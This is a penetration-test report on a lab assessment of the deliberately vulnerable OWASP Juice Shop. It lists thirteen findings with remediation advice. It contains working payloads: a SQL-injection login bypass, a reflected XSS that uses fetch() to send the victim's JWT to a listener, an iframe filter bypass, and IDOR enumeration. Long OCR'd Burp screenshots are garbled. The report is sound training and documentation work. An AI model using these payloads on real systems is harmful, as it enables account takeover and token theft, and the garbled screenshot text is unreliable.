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Assessment dates: 16-21 March 2026
Prepared by: Eric Muturi and David Munene

Lab assessment | demonstration. Performed against OWASP Juice Shop, an intentionally vulnerable,
open-source application published by the OWASP Foundation for security training. This is not a client
engagement and contains no real customer data.



Scope & Methodology

The assessment followed the OWASP Testing Guide v4 methodology, covering web application,
authentication, authorization, APl endpoint, client-side and business-logic testing. Target: OWASP Juice
Shop on localhost (127.0.0.1), ports 3000/8080/44505. Stack: Node.js, TypeScript, Angular 20.3.17 (via
Wappalyzer).

Tools: Nmap, Burp Suite Community Edition, Wappalyzer, CyberChef / jwt.io, browser dev tools, Python
HTTP server (XSS token-theft PoC), RockYou wordlist.

Vulnerability Summary

13 vulnerabilities were identified: 2 Critical, 6 High, 5 Medium (by CVSS).

VULN-001 SQL Injection in Login — Authentication Bypass Critical

VULN-002 Reflected XSS with Token Exfiltration High 8.1
VULN-003 DOM-Based XSS with Filter Bypass High 7.4
VULN-004 IDOR in Basket Access High 7.5
VULN-005 Broken Object Level Authorization — Forged Feedback High 7.1
VULN-006 JWT Manipulation — Privilege Escalation Critical 9.1
VULN-007 Sensitive Data Exposure via User Enumeration in Reviews Medium 5.3
VULN-008 Authorization Bypass — Unauthenticated /api/Users High 7.5
VULN-009 Weak Password Policy Medium 5.4
VULN-010 Verbose Error Messages — Information Disclosure Medium 5.3
VULN-011 Business Logic Flaw — Negative Quantity Accepted High 7.4
VULN-012 Sensitive File Exposure via Directory Listing (/ftp) Medium 5.3
VULN-013 Missing Rate Limiting on Authentication Medium 5.3

OWASP Top 10 (2021) Mapping

N T

AO01 Broken Access Control 4 VULN-004, 005, 007, 008

AO02 Cryptographic Failures 1 VULN-006



AO03 Injection (SQLi + XSS) 3 VULN-001, 002, 003
A04 Insecure Design 1 VULN-011
AO05 Security Misconfiguration 2 VULN-010, 012

AO07 Auth Failures 2 VULN-009, 013



Detailed Findings



VULN-001: SQL Injection in Login — Authentication Bypass

CVSS 9.8 | A03:2021 — Injection

Description: The login endpoint does not sanitise or parameterise the email field, allowing SQL injection.

| POST /rest/user/login

The payload ' OrR 1=1-- bypasses authentication entirely and logs in as the administrator
(admin@juice-sh.op ). A second vector uses a disclosed email with email'-- to log in as any specific

user.

Proof of concept: Arequest body { "email": "' OR 1=1--",

"password": "..." } sentvia Burp

Repeater to POST /rest/user/login returned HTTP 200 with a valid JWT and umail: admin@juice-
sh.op , confirming full authentication bypass.

Burp  Project Intruder Repeater View Help Burp Suite Community Edition v2026.2.3 - Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discover *

Intercept HTTP history Websockets history Match and replace £} Proxysettings

'V Filter settings: Hiding CSS and image content; hiding specific extensions Pro version only
# Host A Method  URL Params Edited  Statuscode  Length MIMEtype Extension  Title Notes TS P Cookies. Time
350  http//127.0.0.1:3000 GET Irest/saveLoginlp 304 305 127.001 13551321 M...
351 httpy//127.0.0.1:3000 GET lapilQuantitys/ 304 306 127.0.01 13551321 M,
352 http://127.0.0.1:3000 GET Irest/products/search?q= v 304 306 127.0.01 135551321 M...
353 httpy/127.0.0.1:3000 GET i -4 304 306 127.0.01 13:5517 21 M...
354 http/127.0.0.1:3000 POST 4 200 197 JSON 127.0.01 13:55:27 21 M...
355  httpy/127.0.0.1:3000 GET Irest/user/whoami?fields=email v 200 394 JSON 127.001 13:55:27 21 M...
356 http/127.0.0.1:3000 GET Irest/user/whoami 200 394 JSON 127.001 1355527 21 M...
357 httpd127.0.0:3000 GET  frestibasket/t 304 304 127001 13552721 M...
358  httpy/127.0.0.1:3000 GET Irest/user/whoami 200 519 JSON 127.001 13:55:27 21 M...
350 http//127.0.0.1:3000 GET v 00 2 JSON 127.001 13:55:27 21 M...
360  http/127.0.01:3000 GET Irestiproducts/search?q= v | Status Cod@®4 5 127.001 135527 21 M...
361 http:/127.0.0.1:3000 GET Iapi/Quantitys/ 200-S ZOAf L 6 127.001 13:5527 21 M...
362 http#127.0.0.1:3000 GET Irest/saveLoginlp ucceggrul login 355 127.001 14023421 M.
363  http://127.0.0.1:3000 GET Iapi/Quantitys/ 304 306 127.001 14:02:34 21 M.
364  http/127.0.0.1:3000 GET Irest/products/search v 304 306 127.001 14:02:34 21 M...

Request Response m  Inspector

Pretty Raw Hex I N = pretty Raw Hex Render = Requestattributes

sec-ch-ua-platform: "Linux"

Accept-Language: en-US,en;q=0.9

Accept: application/json, text/plain, */*

sec-ch-ua: "Chromium";v="145", "Not:A-Brand";v="99"

Content-Type: application/json

sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.0 (X11; Linux x86_64) ApplewebKit/537.36 (KHTM., like Gecko)
chrome/145.0.0.0 Safari/s37.36

L1 origin: http://127.0.0.1:3000

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

L4 Sec-Fetch-Dest: empty

15 Referer: http://127.0.0.1:3000/

16 Accept-Encoding: gzip, deflate, br

17 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss;
continueCode=QmD87MqER20VS1 Z3xb XNpP4ywdzWSXXhk y GBLaDk €S mQnJ 1EOgVKzrYLywW

& Connection: keep-alive
/ SQL Injection

Gomuons

vemailt:'t or 1=1 --¥,
*password® : " 1234569"
¥

OB <« >
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0

Search 0 highights

Allissues

VULN-001 — evidence 1

© ETag: W/*32b- tMZxq3ySOgpkFZdehhXBpaav2zI”

10 Vary: Accept-Encoding
11 Date: Sat, 21 Mar 2026 10:55:27 GMT
2 Connection: keep-alive
13 Keep-Alive: timeout=s

"authentication":{

“"token":

" eyJ0XAL 01 JKV1Qi LCIhbGEi 01 ISUZI INL J9. ey ) zdGFOdXMA 01 JzdWNj ZXNZTiwi ZGFOY ST 6ey JpZCT 6MSwi
dXNLemShbWU 01 11 L C UbWFpbCI 1mFkbWLuQGp 1 aWNLXNoLmwI 1wl cGFzc 3dvemQi 03 TwMTkyMDI ZYTdi Ym
Q3T IMDUXNMYwN LkZ) E4Y UWMCTSIndvbGUL 03 JhZG1pbi ISImRLbHVAZVRva2VuT j 01 Tiwi bGRzdExvZz2lu
SXAL 01 IxM;j CUMCAWL ] Ei LCIwemomawxLSW1hZ2Ui 01 Jhe 3NLdHMycHVi bGLiL2L tYwdlcyoleGxvYWRzL2RLZm
F1bHRBZG1pbi Swbmci L CIOb3RWU2V] cmVOT j 01 11wl aXNBY 3RpdmLi OnRy diUs T mNy ZWFOZWRBACT 61 § TwMj Yt
MDMEM; EgMDQEMzcEMDMUNDEY CSwMDOWMCT SIn\ViwZGFOZWRBACL 61  TwM] Y tMDMEM] EGMT AGNT AGM) QUNZAWIC
SwhDOWMCI STmRLbGVOZWRBACT 6bnVsbHOSImhdCI 6MT c 3NDASMDUYN30. kGPnU20h 3] 3T 4f AQSFPQM71gPX
- 1qhQhEXUEAPBEIMGOEHX6GW71 LpAsy 7LKLNNGY CDMPVUA_e AN1RELUSoxucQ7cqoI TUErVeFtf 7L.- GNVDOBI 3
EVIThYFtEZUUep1 7bmgkuZhUFDCL ZuwT y FKX2]k Jwh1SMT ] POH390XCE0" ,

"bid":1,
“umail®:"admingjuice-sh.op" <¢———— |Logged in as Administrator

¥
}

OB« >

search

0

0 highlights

Request cookies

Request headers

Response headers

@ Memory: 128.2M8 of 38568

®>. &

Q @ Fiteron @ }

Start respons.
27
36
18

Listener port

8080
8080
8080
8080
8080
8080
8080
8080
8080
8080
8080
8080
8080
8080
8080

Jopadsul g

saoN ()

el

44 Disabled v
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VULN-001 — evidence 2

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2026.2.3 - Temporary Project - & X
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discover * Q> &
Intercept HTTP history WebSockets history Match and replace {8} Proxysettings
' Filter settings: Hiding CSS and image content; hiding specific extensions Pro version only Q @ Fiteron @

#  HostA Method  URL Params Edited  Statuscode  Length MMEtype Extension Title Notes s e Cookies Time Listener port  Start respons...
610  http://127.0.0.1:3000 GET Irest/products//reviews 304 305 127.0.01 15:03:28 21 M... 8080 9
61 http://127.0.0.1:3000 GET Irest/products/30/reviews 304 304 127.001 151219 21M... 8080 16
612 http:/127.0.0.1:3000 GET Irest/user/whoamifields=email v 304 304 127.0.01 151219 21 M... 8080 26
613 http/N27.0013000 GET lrest/products/30/reviews 304 304 127.001 1571219 21M... 8080 10
614 http://127.0.0.1:3000 GET Irest/products/30/reviews 304 304 127.0.01 151219 21 M... 8080 7
615  http://127.0.0.1:3000 GET Irest/user/whoamiZfields=email v 304 304 127.001 1512:34 21 M... 8080 n
616  http://127.0.0.1:3000 GET Irest/basket/6 304 305 127.0.01 1512:34 21 M... 8080 27
617  http/N27.0.013000 GET frest/saveLoginlp 200 726 JSON 127.001 15712:36 21M... 8080 282
618  http://127.0.0.1:3000 GET lapi/Quantitys/ 304 306 127.001 1512:36 21 M... 8080 279
619 http:/127.0.01:3000 GET Irest/products/search?q: v 304 306 127.0.01 1512:36 21 M... 8080 24
620 _httpy/n27.0.013000 GET - 304 306 127.001 15712:39 21 M... 8080 3
621 http//127.0.0.1:3000 POST v 200 1186 JSON 127.0.01 1512:5121 M... 8080
622 http:/127.0.0.1:3000 GET Irest/user/whoamiZfields=email v 200 394 JSON 127.001 1512:5121M... 8080 17
623 httpy//127.0.0.1:3000 GET Irest/user/whoami 200 394 JSON 127.0.01 1512:5121M... 8080
624 http/N27.0.013000 GET  lrest/basket/s 200 1322 JSON 127.001 15712:5121M... 8080 7
625  http://127.0.0.1:3000 GET Irest/user/whoami?fields=email v 200 423 JSON 127.001 1512:5121 M... 8080 17
Request Response m  Inspector s X o
8
Pretty Raw Hex pretty Raw Hex Render = Selection 18 (0x12) A s
R ; 5
4 sec-ch-ua-platform: *Linux" ETag: W/"320-kLdVd9Z4ob0OSIEDz/+LLgHGTkRE" Selected text 2
S Accept-Language: en-US,en;q=0.9 10 Vary: Accept-Encoding E
6 Accept: application/json, text/plain, */* 11 Date: Sat, 21 Mar 2026 12:12:51 GMT uvogin@juice-sh.op
7 sec-ch-ua: "Chromium*;v="145", "Not:A-Brand®;v="99" 12 Connection: keep-alive
& Content-Type: application/json 3 Keep-Alive: timeout=5
o sec-choua-mobile: 10 ; . A B
10 User-Agent: Mozilla/S.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 15
Chrome/145.0.0.0 Safari/s37.36 "authentication:{ Protoel HTTPR2 z
origin: http://127.0.0.1:3000 "token" : 7
same-origin " eyJ0eXAL01JKV1QiLCIhbGei 01 ISUZT INi 9. ey zdGFOXMi 01 JzdWNj ZXNzT 1wi ZGFOY ST 6eypZCIEMTYs _ “
Sec-Fetch-Mode: cors INVZZXJUYWLLTj 01 Tiwi ZWihahiwi 01.J 1dmonawSAanVpy 2Utc2qub3ALLCIwY XNzd29y ZCT 61 A1Z) kyMTQ4Y j Name Value 5
14 Sec-Fetch-Dest: empty Ri.Nj BN2RhY 2QuNGN] ZWVA Y j hmiwFmI iwi cm9sZST 61 mN1c3RvbWVyTiwi ZGVsdxh1VGOrZWai0i 11 LCISY XNO Method poST N
Referer: http://127.0.0.1:3000/ TGONaWSIcCI6I11sInByb2ZpbGVat 161 mFzc2V0cywdWsaWMvaW1h: 2L 3VwbGOhZHMy ZGVmY XVsdC
Accept-Encoding: gzip, deflate, br 52dmciL.CIOb3RWU2V] cmVOI j 01 T1wi aXNBY 3RpdmUi OnRydWUsT mNy ZWFOZWRBACI 61 j TwMj Y tMDMEM] EgMDg6 Path Irest/user/login >
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; SMDMUNDESI CswMDowMCT SInVwZGFOZWRBACT 61 j TwM) Y tMDMEM] EgMDGBMzCEMDMUNDESI CswMDowMCTSIm
continueCode=5r2KQL7Dxg] MOEqpoVAaBXPwdgOSVVhxMceadsNMbz8Iw3ZRey YBOkv L 1rny RUbGVOZWRBACI 6bnVsbHOSI mLhdCT6MTCINDASNTESMXO. vZDGY Xr 4LvkySXYOci siKSiLolYeE-banQioANa  Request cookies m
8 Connection: keep-alive 8] PFFHMOJASV_vq63UEHNFsMBalyEsaEzz2ZFb - Y opkzyzFonP_wIOVVDSXCr rkS8WHG78xeCDSkWNUS- apAB
102dS0mWHd ] BFES - eNO1 7JTMYF_crssk3Gf 0zMI96MDTC" ,
¢ Vbide:s, Request headers 7oV
“email®:"jivogin@juice-sh.op'--*, *umail®: *uvogin@juice-sh.op"
"password" :"123456" ) Response headers 12 v
@& ¢ > e O] onighlights  selection13(0x12) (D) S} & > | search O ohighlights o)
Eventlog(1)®  Allissues (@ Memory:174.7MB of 3.8568 +¢ Disabled v

VULN-001 — evidence 3

Impact: Complete authentication bypass to any account including administrator, granting full control of the
application and access to all user data.

Remediation: Use parameterised queries / prepared statements; add an ORM with query sanitisation;
strictly validate and reject special SQL characters; deploy a WAF with SQLi rules.



VULN-002: Reflected XSS with Token EXxfiltration
M) cvsss.1l | A03:2021 - Injection (XSS) | GET /search?q=

Description: The search function reflects user input without encoding, allowing arbitrary JavaScript to run
in the victim's browser. Escalated from a basic alert(1) to full JWT exfiltration using the fetch API to
send the token to an attacker-controlled server.

Proof of concept: Payload <img src=x onerror="fetch('http://localhost:6939?
token="+localStorage.getItem('token'))"> exfiltrated the JWT to a listening HTTP server on port
6939.

[jﬂ )-[~/Downloads/Pentesting/Web & API Pentesting/juice-shop]|
pyt -m http.server 6939

Serving HTTP on 0.0.0.0 port 6939 (http://0.0.0.0:6939/) ...

127.0.0.1 - - [21/Mar/2026 15:40:31] "GET /?token=eyJ0eXAi0iJKV1QilLCJIhbGci0iJSUzI1INiJ9.eyIzdGFOdXMi0iJzdWNjZXNzIiwiZGFOYSI6eyIpZCI6MTYs
InVzZXJuYW1lIjoiTliwiZWlhaWwi 1dm9naW5AanVpY2Utc2gub3AiLCIwYXNzd29yZCI6IjA1ZjkyMTQ4Y jRiINFBMN2RhY2QWNGNjZWViYjhmMWFmIiwicm9sZSI6ImN1c3R
vbWVyIiwiZGVsdXh1VG9rZW4i0iIiLCIsYXNOTGOnaW5JcCI6IjEYNy4wLjAUMSIsInByb2ZpbGVIbWFNZSI6ImFzc2VOcy9wdwWIsaWMvaWlhzZ2VzL3VwbG9hZHMvZGVmYXVsdC
5zdmcilCIOb3RwU2VjcmVOIjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWFO@ZWRBACI6IjIwMjYtMDMtMjEgMDg6Mzc6MDMUNDE3ICSswMDowMCIsInVwZGFOZWRBACI6IjIwMjYtM
DMtMjEgMTI6MTMENDAUNTg3ICswMDowMCIsImR1bGVOZWRBACI6bnVsbHOSImLhdCI6MTc3NDASNjgwMnO.ygI95C_ri4sNs-pND5SEHEZdYSNjmIPI9hXK4UyHWfiangnOL6RN61
k9G3NMtzT8eJJI5uYGUj-DCpAol4VX5RUST4EAeSIKLUpyk4M5IHsuyJi2Eh7hS8gASMWN1Z0Ov8xa04wlq_dOPQYWmlgDaTnznf2AmVbwDPxmTmoHncYlny@ HTTP/1.1" 200 -
127.0.0.1 - - [21/Mar/2026 15:40:31] "GET /?token=eyJ0eXAi0iJKV1QilLCJIhbGci0iJSUzI1INiJ9.eyIzdGFOdXMi0iJzdWNjZXNzIiwiZGFOYSI6eyIpZCI6MTYs
InVzZXJuYW1lIjoiliwiZWlhaWwiOiJldm9naW5AanVpY2Utc2gub3AiLCIwYXNzd29yZCI6IjA1ZjkyMTQ4YjRiNjBmN2RhY2QWNGNFZWViYjhmMWFmMIiwicm9sZSI6ImN1c3R
VvbWVyTiwiZGVsdXh1VGIrZW4i0iIilLCIsYXNOTGOnaW5JcCI6IjEYNy4wL jAUMSIsInByb2ZpbGVIbWFNZSI6ImFzc2VOcy9wdwWIsaWMvaWlhzZ2VzL3VwbG9hZHMvZGVmYXVsdC
5zdmcilCIOb3RwWU2VjcmVOIjoiliwiaXNBY3RpdmUiOnRydWUsImNyZWFOZWRBACI6IjIwMjYtMDMtMjEgMDg6Mzc6MDMUNDE3ICSwMDowMCIsInVwZGFOZWRBACI6I jIwMjYtM
DMtMjEgMTI6MTMENDAUNTg3ICswMDowMCIsImR1bGVOZWRBACI6bnVsbHOSImLhdCI6MTc3NDASNjgwMn@.ygI95C_ri4sNs-pNDSEHEzdY5NjmIPI9hXK4UyHWfiangnOL6RN61
k9G3NMtzT8eJJI5uYGUj-DCpAol4VX5RUST4EAeSIKTIUpyk4M5IHsuyJi2Eh7hS8gASMWN1Z0v8xa04wlq_d@PQYWmlgDaTnznf2AmVbwDPxmTmoHncYlny@ HTTP/1.1" 200 -

VULN-002 — evidence 1

Impact: Arbitrary JavaScript execution, theft of tokens from localStorage, session hijacking and full
account takeover.

Remediation: Context-aware output encoding; avoid rendering raw user input; strict CSP restricting inline
scripts; store tokens in HttpOnly cookies; use Angular's DomSanitizer.



VULN-003: DOM-Based XSS with Filter Bypass
M) cvss7.4 | A03:2021 - Injection (XSS) | GET /search?q=

Description: User-controlled input is rendered in the DOM without sanitisation. Script-tag payloads are
filtered, but the filter is bypassed with alternative elements such as <iframe>, embedding external
content within the application context.

Proof of concept: An <iframe> payload embedding an external SoundCloud player rendered directly in
the search results, confirming DOM-based XSS with filter bypass.

You successfully solved a challenge: Bonus Payload (Use the bonus payload <iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?
url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"><fiframe> in the DOM XSS challenge.)

<> Jump to related coding challenge

Search Results -

/ o Explore more music & audio like
OWASP Juice Shop Jingle

on SoundCloud.

Hear more on

‘ ! Wil o ncioua

&

No results found

Try adjusting your search to find what you're looking for.

VULN-003 — evidence 1

Impact: Arbitrary script execution or malicious embedded content, phishing via embedded content, and
session hijacking when chained with script payloads.

Remediation: Allowlist-based validation; sanitise DOM content with DOMPurify; strict CSP with frame-src
restrictions; never insert raw user input into the DOM.



VULN-004: IDOR in Basket Access

(B cvss7.5 | A01:2021 - Broken Access Control | GET /rest/basket/{id}

Description: Authenticated users can access other users' baskets by changing the basket ID. The server

does not verify ownership, resulting in horizontal privilege escalation.

Proof of concept: Using Burp Intruder, basket IDs 1-5 were enumerated; each returned HTTP 200 with
the corresponding user's basket contents, confirming IDOR across multiple accounts.

Burp Project Intruder Repeater View  Help Burp Suite Community Edition v2026.2.3 - Temporary Project - & X
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discover * @ > ©
Intercept HTTP history WebSockets history Match and replace £ Proxy settings
Y Filter settings: Hiding CSS and image content; hiding specific extensions Proversion only Q @ Fiteron @
# HostA Method  URL Params Edited  Statuscode  Length MIMEtype Extension Title s P Cookies Time Listener port ~ Start respons...
504  http://127.0.0.1:3000 pOST lapi/SecurityAnswers/ v 201 652 JSON 127.0.01 8080 354
505  http:/127.0.0.1:3000 GET Irest/admin/application-configuration 304 306 127.0.01 14:10:57 21 M... 8080 3
506 httpy/127.001:3000 POST frestfuserflogin v 401 a3 HTML 127001 14162321 M... 8080 3
507  http//127.0.0.1:3000 GET Irest/user/whoami 200 394 JSON 127.001 141622321 M.. 8080 7
508  http://127.0.0.1:3000 GET Irest/user/whoami?fields=email v 200 394 JSON 127.0.01 14:16:2321M... 8080 17
509  http//127.0.0.1:3000 POST Irest/user/login v 200 nss JSON 127.0.01 14:16:36 21 M... 8080 147
510 http://127.0.0.1:3000 GET Irest/user/whoami 304 303 127.0.01 14:16:36 21 M... 8080 10
51 httpi127.0.01:3000 GET [restluser/whoamiZfields=email v 304 303 127001 14:16:36 21 M.. 8080 a
512 http://127.0.0.1:3000 GET Irest/user/whoami 200 510 JSON 127.0.01 14116:36 21 M... 8080 15
513 http:/127.0.0.1:3000 GET v 200 418 JSON 127.0.01 14:16:36 21 M... 8080 7
514 http://127.0.0.1:3000 GET Irest/basket/6 200 539 JSON 127.0.01 14:16:36 21 M... 8080 69
515 http://127.0.0.1:3000 GET lapi/Quantitys/ 304 306 127.0.01 14116:36 21 M... 8080 91
516 httpy/127.001:3000 GET [restlproducts/search; v 304 306 127001 14:16:36 21 M... 8080 70
529  http//127.0.0.1:3000 GET Irest/basket/6 API - End Point 304 304 127.0.01 14116:38 21 M... 8080 24
530  http:/127.0.0.1:3000 POST 200 542 JSON 127.0.01 14:16:38 21 M... 8080 225
531 http//127.0.0.1:3000 GET Japi/Products/12d=Sat%20Mar%2021%... v 200 643 JSON 127.0.01 14:16:39 21 M... 8080 18
Request Response Inspector m = - X o

8
Pretty Raw Hex = Pretty Raw Hex Render Request attributes 2 A 3
2
1 GET /rest/basket/6 HTTP/1.1 5 Feature-Policy: payment 'self' Protocol (LRI HTTP/2 2
2 Host: 127.0.0.1:3000 6 X-Recruiting: /#/jobs g
3 sec-ch-ua-platform: *Linux" 7 Content-Type: application/json; charset=utf-8 Name Value 3
4 [Authorization: Bearer 8 Content-Length: 154
eyJ0eXA101JKV1QiLCIhbGe1 01 ISUZT 1Ni J9. ey zdGFOAXMi 01 J2dWN] ZXNZ11wi ZGFOYSI6eyIpZCI6MjMSInVzZ | o ETag: W/"Sa- /RV2Nxq2BIRMTEXCULVY012ZiqQ" Method GET >
XJUYWLLIj01TiwiZWlhawwiOiJqQGFobmluamEuY 29tIiwi cGFzc3dvemQi 0l J IMIBhZGMZ0TQSYMELOWFLYMUINTU | 10 vary: Accept-Encoding Path Irestibasket/6 > B
WNT dmM} BmODg2ZST STnJvbGUi 0133 dXNOb211ci ISImRIbHVAZVRva2VUT j0i TiwibGFzdExvZ2lUSKALOL WL  AuM | 11 Date: Sat, 21 Mar 2026 11:16:36 GMT
CawIiwlcHIvZmlsZULtYWdlIjo1l2F: OcySwdwJsawMvaw1h: L3VWwbGOhZHMyZGVmY XVsdCSzdmciLCIOb3R | 12 Connection: keep-alive &
wU2V] cmVOT j o1T1iwiaXNBY3RpdmUi OnRydwUsTmNy ZWFOZWRBACT 61 j TwMj Y tMOMtM] EgMTEGMT ABNT cuMj AxICswM 13 Keep-Alive: timeout=S Request cookies. 5 B &
DowMCISINVWZGFOZWRBACI 61 TwMj Y tMDMEM] EgMTESMT AGNT cuMj AxI CswMDowMCI sIMRLbGVOZWRBACI6bnVsbHO | 14 td
SImLhdCI6MT c3NDASMT cSNNO. T5qrUaPBI 1 u7uk C2GGI tsUNqrF8RqCc2i Gg32nguDZQK73cINwd jij9iskfaqszbr | 15 { Request headers 6 v
ruyadh_HISUL31PXYXsY jEj aZ8FFtFe_EOPGLTyhWTLym_971qN34n62QBmuRY Vcyf r40sLMOSTFSED81 SL6Lmpfkf ustatus®:"success”,
Kakmk2dUxdgUal6c Authorization Token
S ‘Accept-Languager en-Us,en;q=0.9 vidvis, Response headers. 12 v
6 Accept: application/json, text/plain, */* 1,
7 sec-ch-ua: "Chromium®;v="145', "Not:A-Brand";v="99" "Userid»:23, ¢— | User ID
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 12026- 03-21T11 R
chrome/145.0.0.0 Safari/537.36 12026-03- 21T11+ 16+ 36, 2087" ,
9 sec-ch-ua-mobile: 70 *Products": [
10 Sec-Fetch-Site: same-origin ]
11 Sec-Fetch-Mode }
12 Sec-Fetch-Dest: empty 1
QP ¢ > s £ otigriigts (DG ¢ > | search 0| ohighlights
Eventlog(1)®  Allissues (® Memory: 178.2MB of 38568 +4 Disabled v

Attack ~ Save 4. Intruder attack of http:/127.0.01:3000 - & X
<) 4.Intruder attack of http://127.0.0.1:3000 Attack v sve v

Results Positions.

Y Capture filter: Capturing all items @D Apply capture filter §
W Viewfilter: Showing allitems H bl
g
Request A Payload Status code Response received Error Timeout Length Comment S
&
o 500 9 3416 o
1 1 200 15 538
2 2 200 39 943 |
3 3 200 25 943 (E
4 4 200 25 944
L 200 25 1332 Fl
7
Payload used [ Status Code - 200 success 8
2
b}
Request Response Inspector - X 3
Pretty Raw Hex = Pretty Raw Hex Render Request attributes 2 v
1 GET /rest/basket/2 HTTP/1.1 1 HTTP/1.1 200 OK
. . Request cookies s v &
2 Host: 127.0.0.1:3000 2 Access- Control-Allow-Origin: * . €
3 sec-ch-ua-platform: *Linux* 3 X-Content-Type-Options: nosniff s
4 [Authorization: Bearer 4 X-Frame-Options: SAMEORIGIN Request headers v %
eyJ0eXAi 0l JKV1QiLCIhbGei 01 JSUZT INi J9. ey zdGFOXMi 01 J2dWNj ZXNzI1wi ZGFOY ST 6ey JpZCI6Mj MsInVzZ S Feature-Policy: payment 'self' 32
XJUYW1L1j01TiwiZWlhakwiOiJqQGFobmluamEuY29tTiwi cGFzc3dvemQi 01 IMTBhZGMZOTQSYMELOWFIYMUINTU | 6 X.Recruiting: /#/jobs — = . @
[WNT dmM] BmODgZzZSI sInJvbGUL 013} dXNOb211ci IsImRLbHVAZVRva2VUI joiTiwibGFzdExvZ2luSXALOITWL]AUM | 7 Content-Type: application/json; charset=utf-g i
CawIiwicHIvZmlsZULtYWd1I o1l 2Fzc2V0cywdwWlsawMyaw1hZ2vzL 3VwbGohZHMy ZGVmY XVsdCSzdmeiLCI0b3R & Content-Length: 557
'wU2V] cmVOT j o1 IiwiaXNBY 3RpdmUi OnRydWUs T mNy ZWFOZWRBACT 61 j TwM] Y tMDMEM) EgMT EGMT AGNT cuMj AxICswM 9 ETag: W/"22d-1ZkfD/zwSO+0DUAY rAnwtKRtiHs"
DowMCISINVWZGFOZWRBACI 61 j IwM] Y tMDMtM] EgMT EGMT AGNT cuMj AxI CswMDowMCI sImRLbGVOZWRBACI 6bnVsbHO 10 Var Ac jin
'SIMLhdCI6MT c3NDASMT cSNNO. TSqrUaPBI 1u7uk C2GGI tsUNGrF8RqCc2i Gg32nguDZQK73cINw) j1j9i6kf4qSzbR | 11 pate: Sat, 21 Mar 2026 11:31:51 GMT
ruyadh_HISUL31PXYXsY ] Ej aZ8FF Fe_EDPngyhmlkym_97IqNZAnSZQEmuRY\/cyfrAOsLMQSTFSSDE)S'LSlmfkf 12| Connectiol
Kakmk2dUxdgUal 6 me Autherization Token 15 Keep-Alivi
S Accept-Language: en-US,en;q=0.9 14 )
6 Accept: application/json, text/plain, */* 15 { Different basket ID
7 sec-ch-ua: "Chromium®;v="145", "Not:A-Brand";v="99" "status":"success"
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) ndata®:{
Chrome/145.0.0.0 Safari/s37.36 "id':2, Different User ID
sec-ch-ua-mobile: 20 .‘cwpa,,“:,,u&/
Sec-Fetch-Site: same-origin "UserIdh:2,

empty
Referer: http://127.0.0.1:3000/

Accept-Encoding: gzip, deflate, br

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss;
continueCode=QmDB7MqER20VILZ3xbXNpPAywdzWisXxhk yGBLaDkeSW] mQnI 1EOgVKzZrYLywW; token=

eyJ0eXAi 0 JKV1Qi LCIhbGei 01 JSUZT 1N1 J9. eyd zdGFOXMi 01 J2dWN) ZXN2T1wi ZGFOY ST 6ey JpZCI6Mj MSInVzZ

O« » =

Finished

search Pl

0 highlights

OB <« >

“createdAt® :*2026-03-21T08:41:17.6672",
“"updatedAt" : " 2026-03-21T08:41:17.6672",
“Products”: [

{

vid:4,
"name" : "Raspberry Juice (1c00ml)",

“description*:*Made from blended Raspberry Pi, water and sugar.',

Search

yel 0 highlights.

VULN-004 — evidence 2




Attack  Save

<) 4. Intruder attack of http://127.0.0.1:3000

Results Positions

Y Capture filter: Capturing all items

YV View filter: Showing all items

4.Intruder attack of http://127.0.0.1:3000

Attack v save v

@D Apply capture filter

Request A Payload Status code Response received Error Timeout Length
500 9 3416
1 1 200 15 538
2 2 200 39 943
3 3 200 25 943
4 4 200 25 244
B 5 200 25 1332
Request Response Inspector wD = - X
Pretty  Raw  Hex = pretty  Raw  Hex  Render Request attributes 2 v
= TR - o U A e g
L cer /rest/basket/5 HTTP/1.1 X-Content-Type-Options: nosniff Request cookies 5 v
2 Host: 127.0.0.1:3000
X-Frame-Options: SAMEORIGIN
sec-ch-ua-platform: "Linux" : ¢ ,
[ S Feature-Policy: payment 'self
4 [Authorization: Bearer X Recruiting: /47 obe Request headers 6 v
yJ0eXA10i JKV1QiLCIhbGei0F JSUZT ING J9. ey J2dGFOXMi 01 J2dwNj ZXNZTiwi ZGFOYSI 6ey JpZCI6Mj MSInVzZ c‘mtsnt_wpgj app{)cat)on/Json' charset=utf-8
XJUYW1LI0iTiwiZWlhakiwiOi)qQGFobmluamEuy 29tTiwi cGFzc3dvemQi 01 IMTBhZGMZOT QSYMELOWF1 Y mULNmU Content-Length: 946 Response headers 2 )

WNT M} BnODgzZSTSTnJvbGUI 01 ] dXNOb211ci ISTmRIbHVAZVRYa2VUT § 01 11wl bGFzdExvZ2LUSXAL 01 TwLj AuM
CawTiwicHIvZmlsZUltYwdLI]oil2F; d v V2L 3VibGohZ XVsdCSzdmeil CIOb3R
WU2V] CmVOT j 01 T4 wi aXNBY 3Rpdmi OnRy dWUST miy ZWFOZWRBACL 61 j IwMj Y tMDMEM] EGMTEGMT AGNT cuMj AXI CswM
DoWMCI SINVWZGFOZWRBACT 61 ) TwMj Y tMDMEM] EMTESMT AGNT CuMj AXI CSwMDOWMCT STmRLbGVOZWRBACT 8bnVsbHO
SImlhdCI6MTC3NDASHTCSNNO. TSqrUaPBI 1 u7uk C2GGT tsUNqrF8RGCC2i Gg32nguDZaK73cINwd j1 1 9i 6k f4gszbR
ruYadh_HISUL31PXYXsY j Ej aZ8FFtFe_EOPGLTyhWTLym_971qN34n6zQBmuRY Vcyf r40sLMISTFSE081 SLELmpfkf
